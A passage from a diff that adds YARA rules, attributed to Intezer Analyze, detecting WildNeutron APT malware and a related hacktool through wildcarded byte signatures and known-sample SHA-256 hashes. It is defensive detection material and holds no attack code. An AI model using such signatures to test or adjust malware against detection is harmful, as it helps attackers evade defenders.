+		$block_53 = { 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_54 = { 0F B6 ?? ?? 83 ?? ?? 32 ?? ?? 0F B6 ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? 83 ?? ?? 83 ?? ?? 75 }
+		$block_55 = { 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 8C }
+		$block_56 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_57 = { 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? 31 ?? 85 ?? 0F 94 ?? E9 }
+		$block_58 = { 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 0F 8E }
+		$block_59 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_60 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_61 = { 89 ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_62 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_63 = { 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_64 = { A1 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 84 ?? 0F 85 }
+		$block_65 = { 83 ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 89 ?? 0F 84 }
+		$block_66 = { FF D? 0F B6 ?? 68 ?? ?? ?? ?? 83 ?? ?? 6A ?? 89 ?? ?? ?? ?? ?? FF D? 5? FF D? 85 ?? 74 }
+		$block_67 = { 0F B6 ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 4? 83 ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_68 = { E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_69 = { 5? 89 ?? 83 ?? ?? 0F B7 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 31 ?? 8B ?? ?? 66 ?? ?? ?? 74 }
+		$block_70 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_72 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 31 ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_73 = { C1 ?? ?? 03 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 89 ?? ?? ?? 0F 88 }
+		$block_74 = { 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 0F 85 }
+		$block_75 = { 5? 5? 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_76 = { E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_77 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_78 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? 84 ?? 0F 84 }
+		$block_79 = { 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? 89 ?? 83 ?? ?? 0F 8F }
+		$block_80 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? 89 ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_82 = { 5? 5? 5? 5? 83 ?? ?? 89 ?? 89 ?? ?? ?? 89 ?? 8B ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_83 = { 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_84 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 39 ?? 0F 8E }
+		$block_85 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_86 = { 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_87 = { 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_88 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_89 = { 8B ?? B9 ?? ?? ?? ?? 8B ?? ?? F3 ?? 0F 97 ?? 89 ?? 0F 92 ?? 89 ?? 38 ?? 74 }
+		$block_90 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 8C }
+		$block_91 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_92 = { 8B ?? ?? ?? 4? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_93 = { 0F BE ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 84 ?? 75 }
+		$block_94 = { 89 ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 0F 85 }
+		$block_95 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? 31 ?? 85 ?? 0F 85 }
+		$block_96 = { E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? BA ?? ?? ?? ?? 0F 84 }
+		$block_97 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_98 = { 5? 89 ?? 5? 83 ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_99 = { 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938" or
+		hash.sha256(0, filesize) == "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c" or
+		hash.sha256(0, filesize) == "cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2" or
+		12 of them
+}
+
+rule WildNeutron {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 5? BE ?? ?? ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? 83 ?? ?? ?? ?? FE ?? ?? ?? 83 ?? ?? ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? A5 A5 A5 A5 7C }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 03 ?? 0F B6 ?? 6A ?? 5? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_4 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C3 }
+		$block_5 = { FF 7? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 5? C9 C3 }
+		$block_7 = { 01 ?? ?? 68 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 03 ?? 0F B6 ?? 6A ?? 5? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_9 = { 0F B6 ?? 5? 0D ?? ?? ?? ?? 5? FF 7? ?? 8D ?? ?? 89 ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 74 }
+		$block_10 = { 8B ?? ?? 5? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 39 ?? ?? 5? 0F 94 ?? 8B ?? 5? 89 ?? ?? 8D }
+		$block_11 = { 8D ?? ?? 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 0B ?? 03 ?? 8D ?? ?? ?? 39 ?? ?? ?? ?? ?? 74 }
+		$block_12 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 66 ?? ?? 0F B7 ?? 83 ?? ?? 5? 89 ?? E8 ?? ?? ?? ?? 5? 85 ?? 75 }
+		$block_13 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_14 = { 2B ?? ?? 8B ?? ?? 83 ?? ?? ?? ?? 89 ?? 6A ?? 5? BF ?? ?? ?? ?? 8B ?? 33 ?? 66 ?? ?? 0F 85 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 5? 5? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_17 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 8B ?? ?? 83 ?? ?? 83 ?? ?? ?? 5? 8D ?? ?? 5? 89 ?? ?? 0F 82 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8D ?? ?? 6A ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_19 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 0B ?? 03 ?? 8D ?? ?? 6A ?? 5? 39 ?? ?? ?? ?? ?? 73 }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 5? C1 ?? ?? 5? 5? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 33 ?? AB AB 8B ?? 5? E9 }
+		$block_22 = { 8D ?? ?? 5? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 8D ?? ?? 5? FF 7? ?? 8B ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 4? 83 ?? ?? 3B ?? 0F 86 }
+		$block_24 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? F3 ?? 0F B6 ?? ?? 89 ?? ?? 83 ?? ?? 0F 87 }
+		$block_25 = { 5? 8B ?? A5 A5 A5 A5 8D ?? ?? 6A ?? 5? FF 7? ?? 89 ?? ?? FF 5? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_26 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 8B ?? ?? 83 ?? ?? 5? 5? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_28 = { 8B ?? ?? 83 ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_29 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_30 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? C1 ?? ?? 8A ?? 8A ?? ?? ?? 2A ?? 80 C? ?? D2 ?? 89 ?? ?? ?? 84 ?? 0F 85 }
+		$block_32 = { 0F B6 ?? ?? 89 ?? ?? 4? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_33 = { 8B ?? 0F B6 ?? 6A ?? FF 7? ?? 8D ?? ?? 8B ?? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_34 = { 8D ?? ?? ?? 5? 5? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 8A ?? 88 ?? ?? 0F B6 ?? 4? FE ?? ?? C6 ?? ?? ?? 8A ?? ?? ?? ?? ?? 88 ?? ?? 84 ?? 79 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 A5 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? 5? }
+		$block_37 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_38 = { 33 ?? 5? 0F B6 ?? ?? 4? 8B ?? 8B ?? D3 ?? 8D ?? ?? D3 ?? 89 ?? ?? 4? 39 ?? ?? 76 }
+		$block_39 = { 0F B6 ?? 0F B6 ?? ?? 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 74 }
+		$block_40 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_41 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 83 ?? ?? 89 ?? ?? 03 ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_42 = { 8B ?? ?? FF 7? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? 89 ?? 8B ?? 03 ?? ?? 6A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_44 = { FF 7? ?? 8D ?? ?? FF 7? ?? 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+		$block_46 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? 5? 5? 0F 84 }
+		$block_47 = { 8B ?? ?? 89 ?? ?? 03 ?? 5? 8B ?? ?? 03 ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_48 = { 8D ?? ?? 5? 5? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_49 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 0B ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_50 = { 8B ?? ?? 8B ?? ?? C1 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_51 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_52 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_53 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_54 = { FF 3? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 03 ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_56 = { 80 7? ?? ?? ?? 8A ?? 0F 95 ?? 0A ?? 33 ?? 3A ?? 0F 95 ?? 0F AF ?? 09 ?? 4? 75 }
+		$block_57 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? 89 }
+		$block_58 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_59 = { 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? C1 ?? ?? 0B ?? 89 ?? ?? 75 }
+		$block_60 = { 8D ?? ?? 5? FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_61 = { 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_62 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_63 = { 5? 8B ?? 0F B6 ?? ?? 5? 0F B6 ?? C1 ?? ?? 0B ?? 8D ?? ?? 5? 3B ?? ?? 0F 85 }
+		$block_64 = { 8D ?? ?? 5? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_65 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_66 = { 89 ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 8F }
+		$block_67 = { 8B ?? ?? 83 ?? ?? 0F 94 ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 74 }
+		$block_68 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_69 = { 8D ?? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_71 = { 5? 8B ?? ?? 8B ?? ?? BF ?? ?? ?? ?? 03 ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_72 = { 0F B6 ?? ?? 8B ?? ?? 8A ?? ?? 32 ?? 88 ?? 4? 4? 83 ?? ?? 83 ?? ?? ?? 75 }
+		$block_73 = { 5? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 8D ?? ?? 89 ?? 3D ?? ?? ?? ?? 77 }
+		$block_74 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_75 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_76 = { 83 ?? ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 8D ?? ?? 5? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_78 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_79 = { 83 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 8D ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 0F AF ?? 89 }
+		$block_81 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_82 = { 2B ?? 5? 8D ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_83 = { 5? 8B ?? 5? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? 8B ?? ?? 5? 83 ?? ?? 0F 85 }
+		$block_84 = { 0F B6 ?? ?? 5? 0F B6 ?? 83 ?? ?? C1 ?? ?? 0B ?? 2B ?? 89 ?? 3B ?? 7D }
+		$block_85 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 8D ?? ?? 5? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_87 = { 8B ?? ?? FF 7? ?? 83 ?? ?? 5? FF 7? ?? FF 5? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 89 ?? ?? 76 }
+		$block_89 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 4? 8D ?? ?? A5 A5 A5 A5 89 ?? ?? 75 }
+		$block_90 = { D1 ?? 04 ?? 14 ?? 3A ?? ?? 1B ?? 1C ?? 0F 9C ?? 5? 18 ?? 22 ?? 4? CF }
+		$block_91 = { 33 ?? 39 ?? ?? 0F 94 ?? 21 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 23 ?? E9 }
+
+	condition:
+		hash.sha256(0, filesize) == "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865" or
+		hash.sha256(0, filesize) == "d026f0ca46a82907f3cdd31cbe1b0d7c3ca2c7b90892a855549ab21d456df5b3" or
+		hash.sha256(0, filesize) == "ca03a812cc11edf1efba5a14bc78494cf6c227e60df7a69b4606f2bbaaafaf7a" or
+		hash.sha256(0, filesize) == "c84c779ae60885dac387db3d747d30dd1a889506262b1a7b41be6690883db0e6" or
+		hash.sha256(0, filesize) == "2291700fb2908bb55eb76b3c319908b09e885f1a4700f17ba3c8ada9193b7ae5" or
+		hash.sha256(0, filesize) == "8cbe98930191e4c2e8f9e1a67d4b4cf828e37314728456cf4c00e5435d4878f6" or
+		hash.sha256(0, filesize) == "973f5084662fd80d886d518c9295a1a24fcfcd8843a628f98f5223847d4b4cf1" or
+		hash.sha256(0, filesize) == "c3b8f989d3ab2587fa2d15487cc0933113f5d1ba3f181f3d3a2eedfd830a9ad4" or
+		hash.sha256(0, filesize) == "c9272ed0e0266e5ecc5af0cd7760175789d41b5a7814d9e6e338b7d836f9796d" or
+		hash.sha256(0, filesize) == "f7f003b6f3b77e3cb21d27218634236cdc853c7b71f353c1ef6583992a42b8b5" or
+		hash.sha256(0, filesize) == "544f05d18b4c3e5ed8defe313951d7afde9e3c46201ea34f4fe8b1888369b606" or
+		12 of them
+}
+
+rule WildNeutronHacktool_MultiPurpose {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 4C ?? ?? 49 ?? ?? ?? 49 ?? ?? ?? 4D ?? ?? ?? 4D ?? ?? ?? 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
